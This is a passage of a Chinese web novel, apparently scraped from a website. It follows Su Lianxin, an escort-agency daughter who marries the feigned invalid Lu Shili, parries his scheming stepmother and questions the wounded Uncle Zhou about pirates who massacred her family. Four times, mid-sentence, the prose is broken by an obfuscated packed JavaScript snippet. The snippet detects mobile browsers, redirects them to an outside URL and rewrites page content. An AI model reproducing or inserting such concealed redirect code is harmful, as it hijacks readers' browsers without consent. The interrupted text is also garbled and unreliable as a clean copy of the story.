时间过得真快，眨眼间在父亲后左摇右摆躲避母亲追打的小姑娘，现如今已经梳作妇人发髻，穿上还没来及试的新衣裙，即将展开在他乡的生活。 这身衣裙在布袋里陪她越过尸山，淌过血河，但仍奇迹般地完好无损，连半点褶皱都没有。 想到这里，莲心最后深深看了一眼镜中的自己，才深吸口气转身推开了门。 爹，娘，还请您二老在天之灵保佑，女儿定会将投敌报信之人差个一清二楚，让为恶者认罪伏法得到惩处，也会守在莲生身边看他成才。 莲心在心中默默立誓，无论有多危险，要付出什么代价，我都不怕，哪怕是牺牲性命也要报了此仇。 在她换衣服的时候，陆时礼也没有在那干等，而是一边对着镜子来回打量，脑中还不断浮现刚才所见的情景。 案上墨汁早已干涸，但他并不想立即作画，许是那一幕太过美好，让他不敢轻易落笔，只恐一个不慎毁了那无可挑剔的印象。 柜子里的长袍穿了又拖脱，白色太素不宜新婚的喜气，墨蓝太暗压住了少年的鲜活，绿的太扎眼，黄的又太淡薄。 换来换去，他还是取出了那件最底下的赭红暗金长袍，对着镜子穿戴整齐，又给自己换上了个镶着红玛瑙的发冠。 铜镜中的男子星眸薄唇，既有着少年特有的蓬勃英气，又有着青年气质间的沉稳平和，举手投足间，尽是从诗书中滋养出来的清雅灵气。 苏莲心推门瞧见的，便是这样的一副画面。 赤红的衣袍隐隐勾勒出男子挺拔的身姿，清晨的阳光投射过来，那如玉般白皙的面容上，连细碎的绒毛都清晰可见。 没来由的，莲心的步子一顿，还未呼出的半口气，就这么吊在了嗓子眼间。 对视的两人就像在照镜子，一个屏住了呼气，另一个半张着嘴，显然也没平静到哪里去。 “这颜色很衬你”，陆时礼率先吸了口气，微微偏移了视线，没有再与那双澄澈的杏眼相对，只定定看向嫩粉裙摆上绽放的芙蕖。 莲心凝视着肩膀处，因着太过单薄，细看之下显得有点空荡，“你也是，就是有点太瘦了，到街上我得扶着你点，别来一阵风再把你给吹倒了。” 分明是在打趣，但陆时礼却从她的眼中，看出了真诚的关切。 “那往后我多吃些，你监督我。” 两人俱是相视一笑，随即陆时礼侧过身，从一个上锁的木盒里取出盒用了大半的胭脂，用指尖沾了沾。 然后就在莲心震惊的眼神里，半躬着身凑到铜镜前，熟捻地在掌心与调配好的粉底混在一起，三两下就涂抹在了白皙的两颊之上。 待他再回头时，方才那个青春勃发的少年郎不见了踪影，取而代之的，是面色苍白如纸，脸颊还泛着坨红的病弱少年。 “娘子，为夫这妆画得算不算得是上天衣无缝？” 不仅模样变了，连体态都一下柔弱起来，配上那两声抓住精髓的咳嗽，哪还有半点生龙活虎的样子，俨然一个病入膏肓的短命鬼。 “何止妆画得好，你这演技也是一等一的。得亏我亲眼见到你本来的样子，要不然就这副尊容，是绝对不会把你跟健康扯上半点关系的。” 都不能用像来形容了，简直称不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156358|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扮演，莲心暗暗感慨，能把病演得不像病，要么就是天赋异禀，要么就是已经将生病形成了肌肉记忆，信手捏来了属于是。 看着面前的那张“憔悴”的面容，莲心无声地叹了口气，他一路走到现在，想必也是吃过不少苦的，坚持到今天当真是不容易。 “娘子，这还没出门怎么就入了戏，莫不是心疼我了？” 见陆时礼半倚着桌案，一副吊儿郎当的样子，莲心赶忙瞪了他一眼，半真半假地揉了揉有些泛红的眼眶。 “我哪有，你少自作多情，就是风太大迷了眼睛，揉两下就好了。” 谁知陆时礼倒真望向了掩得死死的窗棂，在莲心的面容以肉眼可见的速度迅速红透时，微不可察地翘起唇角，挑眉若有所思地哎了一声。 “哎——想是这屋子破旧窗棂漏风，等晚上回来我再好好收拾一下，可别让我娘子晚上着了风寒。” “陆时礼，你可适可而止吧！还有，现在周围有没有别人，你别老一口一个娘子的叫，我这鸡皮疙瘩都被你给吓出来了。” “好啦”，陆时礼抬步上前将一只手搭在门上，朝莲心比了个请的手势，“我饿了，娘子，我们去吃饭吧。” 说罢他竟然还无耻地眨了眨眼，莲心浑身一抖，“少来”，瞥他一眼后也走了过去，在他身后不到一步的距离，两人一前一后地出了门。 穿过两个小巷便来到了菜口街，炊烟包裹着香气袅袅升起，人来人往好不热闹。 两人选了一家云吞铺子落座，很快殷勤的小二端来两碗热气腾腾的云吞，莲心要的是紫菜虾仁，陆时礼的则是玉米鲜肉。 因着都有食不言的习惯，直到一大碗云吞见了底，陆时礼才便用帕子擦嘴便抬起头，“过两日我要搬到松林学苑，一会儿要先去准备些东西，你能自己找到回去的路吗？” “能的”，莲心咽下最后一口鲜甜的汤汁，有些意犹未尽地舔了舔嘴，“我从未吃过这么好吃的云吞，等我睡醒午觉一定再来一碗。” 陆时礼忍不住笑了起来，“留着点肚子，晚些我再给你带点江州特有的点心”，言罢他站起了身，右手袖口却突然被轻轻拉住。 “能少咳就少咳两声，身体可是自己的”，莲心将布袋塞了过去，这才松开了手。 从布袋中取出块莲子糖放进口中，陆时礼唇畔笑意更甜，“知道了，有什么喜欢的就买，为夫给你报销”。 莲心顿觉手心一凉，只见一枚银锭正躺在那里，再抬头时早已不见了那抹红影，“柔柔弱弱的怎么走那么快。” 虽然揣着银钱，但她并没有什么想买，昨晚首次旁边躺了个大活人，她也实在没有睡好，所以也不想再逛，径直往陆府想要回去补个觉。 刚到门口，便见一袭桃红衣衫的少女冷冷地盯着她，莲心怔了一瞬才想起她的名字，露出个谦和的笑，“桃华姑娘，一大早守在这可是有什么事？” 却不想桃华不仅没有行礼问好，连语气都极为生硬冷漠，看向她的目光隐隐含着几分审视。 “夫人有请，少夫人，走吧。” 5. 施威 虽知道苏氏有一副好颜色，但今日再见时，陆夫人还是不禁有些晃神。 江州自古出美人，讲求的是弱柳扶风、娇俏动人。 但眼前的少女眉不画而黛，唇不点而朱，许是常年习武的缘故，身量纤细却又较之寻常女子更为高挑。 尽管一袭桃粉衣裙，却因着眼角眉间若隐的英气，衬出三分娇嫩，七分飒爽。 若说那张鹅蛋脸与那人有五分相似，只要对上那双黑亮的杏眼，这点相似也就立刻降为了三分。 莲见那丫头美则美矣，但却随波逐流、任人唯亲，举手投足间只有柔弱，眼神中尽是空洞。 其实当真比较起来，面前的眼睛生得不算极美，莫说莲见，就是江州城也只能算是不差，但最难能可贵的，是深藏其中的情绪。 不屈，坚韧，以及明明埋得很深，但却会在眼角眉梢不经意间流露出的狡黠。 从见到莲心的第一面起，陆夫人就清楚，这位带着幼弟衣衫褴褛，从千里迢迢赶来投亲的少女，绝不像外表所展现的那样天真无助。 在她打量莲心的同时，莲心也在默默地打量着她。 宽敞的厅堂四角皆摆放着半人高的镶金香炉，白烟从栩栩如生的莲花蕊中徐徐而出，喷薄在刻纹精美的房梁之上，留下充盈满屋的淡淡兰香。 年过三旬的陆夫人就这样半倚在正中的高座之中，怀里的碧眼白猫蹭着她骨肉均匀的小臂，整个人就像那只隐隐伸出长爪的白猫一般。 优雅迷人，而又有着足以使人致命的危险。 “莲心来了，快坐，你嫁得匆忙，趁着头一天咱娘俩好好说说话。往后日子还长，可千万莫要生分了。” 莲心赶忙福了一礼，不动声色地瞄了一眼陆夫人紧扣指尖上的丹寇，“多谢娘的照顾”，随即在桃华的牵引下，坐在了最前面左侧的紫檀木椅上。 “嘉文身子骨不好，这段时日怕是要苦了你了。”陆夫人呷了口茶，语气中透着几分怜惜，只是眼中仍冰凉一片，看不到丝毫温度。 莲心乖顺地摇了摇头，“多谢娘关照，既已成亲照顾夫君便是本分，莲心不觉着苦，相信夫君的病很快也会无大碍的。” “好孩子”，陆夫人妩媚的凤眼扫了过来，透着点晦暗难辨的欣慰，“说是这么说，可是也得医患好好配合才是，否则这病得猴年马月才能好啊。” 莲心的心里忽地一滞，听这话里话外的意思，这位陆夫人，估摸着要将她收编，准备下达后续任务了。 唇畔牵出一抹状似温顺弧度，莲心直直望向那片冰冷的眼底，“那依娘来看，莲心可以做些什么，来替您排忧解难呢？” 高手过招，只在须臾之间，既然陆夫人这老狐狸嗅觉够灵，那她苏莲心也没有夹着尾巴的必要了，想干什么就挑明了说吧。 果然见她这么说，陆夫人先是微微一怔，随即面上露出了然的浅笑，那是一种让人隐隐发瘆的表情，仅是牵动皮肉，但却半点不达眼底。 在那一瞬间，莲心有点佩服起陆时礼来，能在这位手里独自坚持十年，除了一手真假莫辨的装病绝活，他的城府也绝不会像平日表现得那样容易外露。 勾心斗角只是这家的小试牛刀，真正决定生死胜败的，是盘旋交错的势力，以及被层层伪装包裹着的内心。 不过这些莲心都不关心，她来到这里除了给幼弟找个容身之所以外，真正要做的是找一位故人，至于陆家这个跳板，她只需要在离开前尽量稳住而已。 “既然久病不治，自然是要对症下药”，陆夫人终于敛起了笑，蛇一般冰冷黏腻的视线划过她的鼻梁，最后落在那粉嫩的唇瓣上。 “新婚燕尔，听说嘉文那小子又要跑去学苑苦学，沉疴缠身，身为妻子你也该好好劝劝。既然有了家室，就不能再由着他像从前那般胡来了。” 陆夫人目光如霜，殷红如血的唇勾起一抹若有若无的弧度，莲心被她这么瞧着，不消须臾额上已经起了一层薄薄的汗。 “娘的话莲心记下了，但科举毕竟是一生的大事，我只能尽力相劝，能不能让他留下也不能保证。” 见陆夫人眸光一沉，莲心沉吟着又继续开口，“有心向学便不拘于环境，夜半最易发热，留在府中也好有个照应，我想娘的一片苦心，嘉文自是能领会的。” 她这话说完，陆夫人怔了下，随即轻笑出声，这回那双眼里也多了几分热度，并不似方才那边冰凉刺骨了。 “嘉文那孩子就是太倔，若是像你一般通情达理，我也就不用那么挂心了”，陆夫人怅然地长叹口气。 “罢了，为娘也不为难你，白日里他去不去学苑我不管，晚上是一定要留在府里的。一大早我又托宋医官开了副新方，你一会跟着桃华到后院取了煎给他喝。” 说完她看了身后的侍女一眼，顺了顺怀中白猫的长绒，“我瞧你也乏了，便不多说了，往后日子还长，不急于这一时，去吧。” 桃华心领神会，向前几步对莲心行了一礼，声音柔柔宛若黄鹂轻啼，“少夫人，那便随奴婢来吧。” “莲心先告退了，您养好身子，我改日再来拜见”，见陆夫人笑着冲她摆了摆手，莲心又福身行了一礼，这才回过头来抿唇一笑，“有劳桃华姑娘带路了。” 待二人一前一后相继离开，屏风后的珠帘清脆作响，从后面赫然走出位衣着讲究的老妇，若有所思地看着远去的身影。 “张姨，快来帮我按按头”，陆夫人倾身伸了下手，圆滚滚的雪白猫儿就噌的一下蹿出去好远，藏到了一坛暖炉镂空的缝隙里。 这位被称作张姨的老妇也走上前来，一面熟捻地避开精心梳好的发髻，松弛有度地在太阳穴的位置来回揉捏，一面又扫了眼自家夫人的脸色，若有所思地开了口。 “容貌倒有几分相似，不过时光匆匆，就算是有情人也未必始终记挂，更何况是那么小还发生了那些事。留她在这，只怕也没有什么大用。” 陆夫人半眯着眼，看着自己刚涂了丹寇的指尖，轻嗤了一声，“留都留了，说这些还有什么用，反正都是秋后的蚂蚱，蹦不了几天了。” “是这么个理，只是看这丫头的样子，不是那么好拿捏的” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156359|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，张姨浑浊的眼球转了一转，声音也冷了几分，“咱们等这个机会太久了，绝不能再出半点差错。” 屋内的空气一下子变得凝滞起来，地上的猫儿“喵”了一声，将头埋在肚皮上，团成了个圆滚滚的小白球，瑟缩着滚到了香炉后。 “她不敢，有了牵挂也就有了软肋，任谁都是如此”，陆夫人唇角勾起玩味的嘲弄，“她带来的那个男孩已经安顿好了？” “早就安顿好了”，张姨赶忙开口，“来的第二天就送到听云堂了，还是夫人您拍的板呢。” 听云堂的老先生与杜氏的父亲是结拜兄弟，在江州也是为数不多无需利益直接就能信得过的人，听到送去了那，陆夫人这才满意地眯了眯眼。 “成，那咱们就等着莲心那边的好消息吧。” 说话间院子里的两人也取了药，一前一后地走到了南院，一直到了那几颗盛开的梨花树下，沉默一路的桃华才终于开了口。 “这药每一次半服，每日早晚各服用一次，一定要用黄酒配着去煎，趁着热的时候慢慢喝效果才最好。” 莲心深深看了她一眼，才笑着点了点头，“这话你在后院就嘱咐过了，也请给娘带个话，我都记下了，还请她放心。” 说完并没有收回视线，而是依旧笑盈盈地看着桃华，就这样静静等待她继续开口。 果不其然，片刻后，桃华目光一紧，犹豫着到底还是问了出来。 “你千里迢迢从福州过来，真的甘心就这么做夫人的一把刀，狠狠捅向刚成婚的夫君？” 饶是有着心理准备，但莲心终是没有想到，这位面容娇美眼神冰凉的年轻丫鬟，竟然会直接地问出这句话来，不禁微微一怔。 “想必姑娘听过，良禽择木而栖这句话”，莲心的视线越过她，落到了树上纷扬而落的雪白花瓣上，“于我而言，所求的不过只是安身而已。” 淡淡的声音且飘且沉，不辨悲喜。 桃华抿了抿唇，将药包递了过去，临回身前，还是又最后留下一句。 “我还听说染血的刀大多都没有好下场。在这里谁的话都不可信，有空还是多给自己找条后路，别到最后竹篮打水一场空，才追悔莫及。” 说完她抬步离开，莲心本能想要伸手去拉，想了想还是没有拦她，只是站在原地，用刚好能让她听到的声音轻声道了句谢。 “多谢姑娘好心提醒，常伴夫人身侧不易，姑娘也要小心才是。” 没有人回应，青石板上有节奏地响起清脆的“踏踏”声，眨眼间，那抹桃红色鲜嫩的身影便越过转角，消失在了漫漫深院之中。 “看来这府里也没那么糟，还是有个能相处的姐妹。” 如果此时桃华折回，或者南院碰巧经过哪个小厮，一定会被眼前所见给吓上一跳。 只见新过门的少夫人并没有进入主厢房，而是轻手轻脚打开了对面闲置房间的门。 更要紧的是，那张满是灰尘的草席之上，竟躺着一个被纱布裹住全身的人。 莲心朝那人微微一笑，“周伯，昨夜睡得可好？” 6. 投喂 昏暗的房室里，腐朽的霉气混杂着浓浓的血腥和药香，争先恐后地往人鼻孔里钻。 仅有的一盏烛台，因着门开带来的风而短暂地晃了一晃，虚虚的火苗眼瞅着就要熄灭，却又在下一秒奇迹般地盛了起来，光线较之刚才不弱反强。 被唤作“周伯”的男子闻声艰难地倚在墙边，纱布下仅露出的一双眼睛满是猩红，看着莲心的目光中没有半点惊喜，有的只是恐惧与瑟缩。 即使被纱布包裹得就剩两只眼睛，但也不难看出这人身量高大，可此刻他就这样缩在床边，不动也不说话，偶尔吞咽唾沫发出几声细碎的“咕噜”。 见他这副模样，莲心也半点不急，将药包随手放在地上，自己也捡了块相对干净的草席坐下，托着腮静静地打量着纱布下隐隐泛出的血迹。 此刻的她眼神中没有了平常的温和，取而代之的，是让人如坠冰渊的冷，这气质倒与她清冷的五官相符起来。 她目光的这种冰冷还与陆夫人的不同，不是像毒蛇那样黏腻可怖，而是宛若清透的冰凌，有水一般的柔和无波，又带有天生的棱角。 敛去所有情绪，只让所照之人自己看到卑劣的一面，进而慌了心神，在交锋中乱了阵脚。 周伯被这样眼神晃的一震，终于还是移开了视线，败下阵来。 他又仰起头，艰难地咽了口唾沫，嗓音沙哑难耐，宛若地狱里受尽酷刑的恶鬼，对着人间嘶哑怒吼，留下最后的诅咒。 “人都死了，骨头渣子都烂没了，还问那些有什么用，小心连你们这最后一点血脉都不剩！” 出乎意料的，他这番话并没有激起预想的震怒，恰相反，清冷如莲的少女挑了挑眉，粉嫩的唇畔勾起一抹若有若无的弧度。 竟像是在笑？ 但其实也不是不可能，毕竟三日前她可是从十多个训练有素的杀手剑下，单枪匹马把他这个从前的老对头救了出来，不仅请医官给他治伤，还冒着风险把他留在了府上。 看着不远处一袭粉衫的少女，周伯纱布下的嘴角溢出苦笑。 苏芮民的这个女儿，当真是不简单。也不知这是老苏家的福，还是他老苏家的祸？ “您这话说得不对”，片刻之后，莲心才悠悠然开了口，眼神仍紧紧锁在他身上，“有仇报仇，有恩报恩，既然还有血脉在，这账就得算个明白不是？” 周伯深深叹了口气，因伤口的牵动而声音有些发颤。 “莲心啊，听叔一句劝。事情到了这一步，往下追究不是你这个女娘能做的，既然跟人家成了亲，往后就好好过日子吧。” 放下一切恩怨，好好过日子？ 从躲在莲花池里，亲眼听见父母被倭寇尖锐的刀锋屠杀时，在和幼弟每夜被噩梦惊醒看着打湿的枕头时，苏莲心知道，再也没有这种可能。 从小到大，她听的是肝胆报国，学的是重情重义。 眼下外敌肆意入侵，内患为虎作伥，国仇在前，家恨未报，莲生年幼懵懂，她却通晓情理。 当日的血腥情景就在眼前，已经深深融入血肉，早就没有忘却的可能。 莲心也苦笑一声。 “实话跟您说，若是能忘我也不会冒死救您，而您之所以被杀手包围，想必也是因为心里放不下吧？” 是啊，抛去从前生意场上的争斗不说，作为福州旗鼓相当的两大镖局，这位周伯也绝不是卖国求荣的等闲之辈。 “就知道你这丫头会这样说”，周伯猩红的双眼微微眯起，但还是没能藏住其中的欣慰。 “那是，我这点心思，哪能瞒住你啊”，莲心笑着往前挪了挪，声音因为紧张而又低又沉。 “虽说倭寇屠城已是常事，可我想不透的是，为何福州城北安然无恙，而城南特别是我爹所在那条街被杀几乎一人不剩？” 听她这么问，周伯被裹得严严实实的指尖颤了一颤，猩红的眼睛闭了起来，似乎是在回忆一件极为痛苦的事。 “还能为什么”，他长叹一声，“如此大规模的烧杀抢掠，目的只有一个，那就是他们想要找到一件不能公开又相当重要的东西。” “那依您看，那件东西很可能在我爹手中？”莲心打从一开始就想到了这一可能，如今从周伯口中听到，也没有觉得意外。 周伯先是有些诧异于她的平静，随后又摇了摇头，心中暗暗感叹这个小丫头有勇有谋，或许日后还真能成一番事，对她更为欣赏，语气便又和善了些。 “之前我也这样想，但这次死里逃生之后，我觉得事情远没有那样简单。” 莲心眸光一紧，“那帮倭寇本以为东西在我爹手上，结果屠城后仍是一无所获，便将矛头指向了您？” “约莫就是这样啊”，周伯长叹了口气，“所以眼下当务之急就是回福州清点一下镖册，他们要的东西，很可能就藏在托过来走镖的货里。” 说到这他似是想到了什么，猛地抬头看向莲心，“对了，若是你爹娘临终前给过你什么东西，可千万不能显于人前，引来杀身之祸可就得不偿失了。” 除了那个作为投靠陆府信物的玉佩，以及她藏在池旁的几件衣服首饰，便没有其他任何留下的东西了。 抛开祸患不说，莲心还真想他们能多留一点东西，哪怕只是做个纪念也好。 总好过长路漫漫，只能守着从前的那点回忆，度过将来的时光。 “不怕您笑话，听到城外的马蹄，我也就装了两件衣服首饰，什么镖啊货啊的，我那时是一点都没挂心。” 见莲心红了双眼，周伯也惋惜地长叹了口气，低低地咒骂了一声。 “不怨你，都是那杀千刀的倭寇，找东西就算了偏还要再杀人，早晚要遭天打雷轰！” 言罢似乎还不放心，又放柔了声音轻声劝道，“你也别太伤心，他们挖地三尺都没找到的东西，怎么可能就那么碰巧被你带出来了。往后日子还长，尽人事听天命吧。” 两人又说了一会，直到窗外天色渐暗，莲心才提了药包起身，又帮他换了药，这才慢慢悠悠地走了出去。 两间房虽然左右相对，但来往不过七八步的距离。 莲心进门后也没了歇息一会的心思，点燃蜡烛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156360|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌案边静坐了好一会，木门才被缓缓推开，原来是下了学的陆时礼回来了。 陆时礼进门看到的就是这样一幕，暖黄的烛火下，清丽婉约的少女懵懂地转过身来。 澄澈的瞳孔闪过来不及掩饰的凌厉，肩头几朵梨花随动作轻轻晃动，最终落下一片在纤白手掌的虎口处，将将掩住那一块微微泛黄的老茧。 “想什么呢这么入迷，我在窗外唤你两声都没听到？” 莲心微微一怔，转而挠头笑了笑，“这不是菜口街太大太繁华了嘛，我逛了一大圈，回来还是意犹未尽，光顾着想那些好吃的，都没注意你回来了。” “是吗？”陆时礼饶有兴致地倾身眯了眯眼，“那你说说想吃哪几样，让我这个江州人看看，你选的菜够不够地道。” 这倒问到当口上了，莲心根本就没逛街，方才不过是随口找的理由，见他还真要刨根问底，一时间竟有几分措手不及。 心中强压下一口气，她心一横，干脆就说几样福州菜，反正种类那么多，他又不能真一一知晓。 就在她犹豫的空档，陆时礼看着少女因紧张而微微发白的面容，英挑的眉毛微不可察地一动，将一直藏在身后的油布包取了出来，小心地放在了桌上。 “你初来乍到，江州的菜名确实不好记。没事，反正咱有时间，明天开始一天三道，早晚带你把江州美食吃个遍！” 他修长的手指熟捻地揭开绳扣，随着他的动作，一股酥油的香味散发出来，混合着绿茶的清香，只让人想流口水。 “还傻愣着做什么”，他取出一块芝麻酥，见莲心仍呆呆地站在原地，轻笑一声，“我敢说这家是全大曜最好吃的芝麻酥，你尝尝味道怎么样？” 咬下一口金黄的酥皮，独属于黑芝麻的浓醇香甜在口中蔓延开来，在对面期待的注视下，莲心用地点了点头，“好吃，我从没吃过这么香甜的芝麻酥。” “那是自然，每年同乡们去京城赶考时，都会特意带上满满一大包”，陆时礼见她吃得那么香，也取出一块咬了一口，“为了买这点东西，我可排了整整一个时辰的队呢。” “辛苦你了，其实不用这么麻烦的，我嘴壮，吃东西不挑。”莲心听他这么一说，心里有些过意不去。 陆时礼看着她嘴边那块面碎，犹豫片刻还是伸出了手，修长的指节轻轻一扫，见那一小块肌肤以肉眼可见的速度红了起来，唇畔笑意更浓。 “这算什么麻烦，都是顺路的事。我前面还有一位母亲要去看在京备考的儿子，买了满满登登的两大包往过带，那才叫真辛苦呢！” 言罢他又从里面选了一块被做成荷叶形状的青色点心，“再尝尝这个，听说是新品招牌，好像叫绿茶奶酥，要是好吃我下次再给你买。” 莲心觉得自己一定是生了病，要不然脸怎么那么烫，而原本清清淡淡的茶香，到她嘴里却变得比蜜糖还要甜。 青年漆黑的眸子灿若星辰，莲心觉得那是一片诱人的漩涡，恍惚间她听到了自己低低的声音。 “等明年你进京科举时，我也买上两大包去看你。” 7. 夜话 从前只当英雄难过美人关是为定力不足找的理由，而今日，苏莲心才真正感受到了美人计的威力。 烛火已然熄灭，朦朦胧胧的月色里，莲心仍旧瞪着眼睛，看着桌上那团剩了一半的点心。 因着知晓一诺千金的分量，莲心自幼便被教导要慎重许诺，明知无法实现，或者本来没有几分把握之事都决不会答应下来。 莲心看着桌上仍散发着诱人香气的点心，越想越气，越想越恨。 自己怎么就管不这张嘴呢，贪吃就算了，还跟人家大言不惭说那种话，当真没看清自己的处境，人家一笑就不知道怎么好了。 她这个刀尖行走的复仇少女，怎么就敢随便许下一年之期的承诺，自己有今天没明天也就罢了，让旁人抱着随时会幻灭的期待，属实是太不应该了。 但话已经说出了口，她一直琢磨到现在，思来想去还是准备明天寻个时机，跟他委婉地毁掉这个约定，以免日后达不成让他徒生感伤。 不仅如此，对自己来说也是了了一桩心事，受父亲教导，她平生最重道义二字，既然想要放手一搏，就不能给复仇路上平添负担。 想到这里她才舒了口气，后知后觉右臂已被枕得发麻，听到床那边越发均匀的呼吸声，微微松了下心，准备平躺过来酝酿睡意。 她刚挪动了一下身，还没等闭眼，就听见一声压抑着的轻咳，因着就在床边，便汲着鞋子下了地，走到桌旁倒杯清水端了过来。 “半夜容易口渴，喝杯水润润嗓子吧。”莲心知道他是白日里装病，尽管只是时不时的咳嗽终究也伤嗓子，所以睡前特意在桌上留了半壶水。 陆时礼说了句多谢，便接过茶杯慢慢啜了起来，面庞在昏暗中看不真切，漆黑的瞳孔短暂地有光芒划过。 许是因为受百年书香熏染，莲心发觉不止是在人前，就连独自一人时，他也仍旧保持着从容的风度，举手投足优雅有度，仿若浑然天成。 “怎么了，为何那样傻傻地瞧着我？”陆时礼喝完了一杯水，抬头就见莲心一瞬不瞬地看着他，心下疑惑，便笑问道。 就好像觊觎珍宝但被主人发现的小贼，说者也许无意，但莲心听了却有种心虚的感觉，她慌忙从那修长的手中取过茶杯，逃也似的下了床。 “我从没见过把水喝得像品茶的人，觉得稀奇，所以就多看了两眼，让你不舒服的话我在此道歉。” 她将茶杯搁在一旁，突觉喉间燥热，便也给自己倒了一杯，“咕嘟咕嘟”抬头饮尽，才轻声出言解释。 见她这一番举动，陆时礼先怔了片刻，随即心下了然，唇畔又不自觉地浮起浅笑。 这个姑娘自以为藏得够深，可不经意间的小动作，还是暴露了她这个年纪天真活泼的本性。 他没有戳破那点欲盖弥彰，而是顺着她的话说了下去。 “世人皆是如此，总会对未知抱有份特殊的期待。你觉着我喝水的姿态稀奇，我反倒认为你的痛快豪饮更加有趣呢。” “这有什么有趣的，不过是行走江湖没有那么多讲究罢了。”大抵是他语气没有半点挪揄，莲心反倒因为这真诚的夸奖红了脸。 幸好月色朦胧，两人又隔了一段距离，半倚在床边的陆时礼没能看到她薄薄的面皮上泛起了坨红，否则又得见缝插针，没完没了地逗她了。 但她没想到的是，陆时礼都不用看，早已从她的语气里嗅到了名为羞窘的味道，只不过发现归发现，看她这般模样，便也没有再提。 “晚上凉，喝完水就赶紧过来吧”，陆时礼还抬手拍了拍旁边的床铺，“一会被子里那点温度都散尽了，得了风寒就不好了。” 莲心将茶杯放好，一边汲着鞋“嗒啦嗒啦”往回走，一边撇了撇嘴，“哪有那么娇气，原先在家我爹罚我扎马步，我顶着陶盆在腊月天里站了一宿，愣是半点事儿都没有。” “那后来呢？”陆时礼也被故事勾起了兴趣，也不急着躺下，用被子将自己裹好，只探出个头来继续追问。 上了床的莲心也学着他的样子，将自己包成了个圆滚滚的粽子，靠在床的另一边眯了眯眼，回忆起从前温馨的点滴，连声音都轻柔起来。 “后来我爹又要罚我跪祠堂，我娘为了我和他大吵了一架。谁知道我爹一个回身就栽倒在地，我吓得够呛，一问才知，原来他因担心在暗处守了我整夜。” 说罢她咯咯一笑，“然后我就照顾了他三天三夜，后来不论我犯多大的错，他宁可罚我洒扫茅房，也不让我扎马步了。” “洒扫茅房？”陆时礼也轻轻笑了起来，“那又脏又臭的，还不如让你去帮街坊邻居搬货，既能起到惩戒累身的效果，又真真切切帮了别人，而且还不用沾染异味，一箭三雕。” 莲心闻言眼前一亮，声音中俱是不谋而合的欣喜。 “这你真说到我心坎里了！我爹罚我扫过地，也让我打扫过茅房，连种地给我安排了，就偏偏不让我帮镖局搬货。” 听到“镖局”二字，陆时礼盖在锦被下的手指微不可察地一颤，“若我没记错的话，岳父从前在福州做的就是镖局的生意吧？” 他刻意将“生前”说作“从前”，为的就是避口不提那场灾祸，尽量让莲心不太过伤心。 显然对他的这份小心思，莲心是领了情的。 但亲人的惨死就像一块痂，揭下来是一片鲜血淋漓，可即便再小心避开，只要还在那里一天，就始终都会隐隐作痛。 若不迎着疼痛对症下药，而任它在那里不管不顾，便很难有真正痊愈的那一日，不是沾了水流脓发炎，就是破了皮雪上加霜。 所以莲心不怕揭开伤疤，因为只有那样才能深入病因，对症下药。 但她同样也很感激陆时礼的善意，即使铁打的人也会有片刻的脆弱和柔软，面对痛苦也不会始终一往无前。 从前已去，未来可期，这一字之差所包含的，还有少年隐隐的期许。 “是，在那帮倭寇屠城之前，我家里一直都开着镖局。福州有南苏北周之说，在城南名声最响的，便是我父亲开的苏家镖局。” 陆时礼发现，一提到父亲，自己这位刚过门的小娘子就两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156361|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼冒光，神情间尽是不加掩饰的得意之色，抑扬顿挫的生动语气较之最好的说书人都不匡多让。 迎着少女期待的目光，他适时地出言赞叹。 “怪不得江州不少富商高官，宁可不远千里从福州走镖。想当年岳父大人持刀执弓该是何等威风，斩杀猛虎的雄姿令家父至今难忘。” 他这番话一说，果真见到对面的少女神采飞扬，声音里不无得意，“那是，我爹算得上是福州城里数一数二的人物，当年孙县令六十大寿，还特意给我爹留了个位置呢！” “好好好，岳父大人天下第一威武，实乃吾辈楷模！”陆时礼算看透了，感情这丫头只有听到夸赞父亲的话才高兴。 只不过，心里有点涩涩的是怎么回事，他自诩是饱读圣贤书的才子，还吃岳父的醋是怎么回事？ 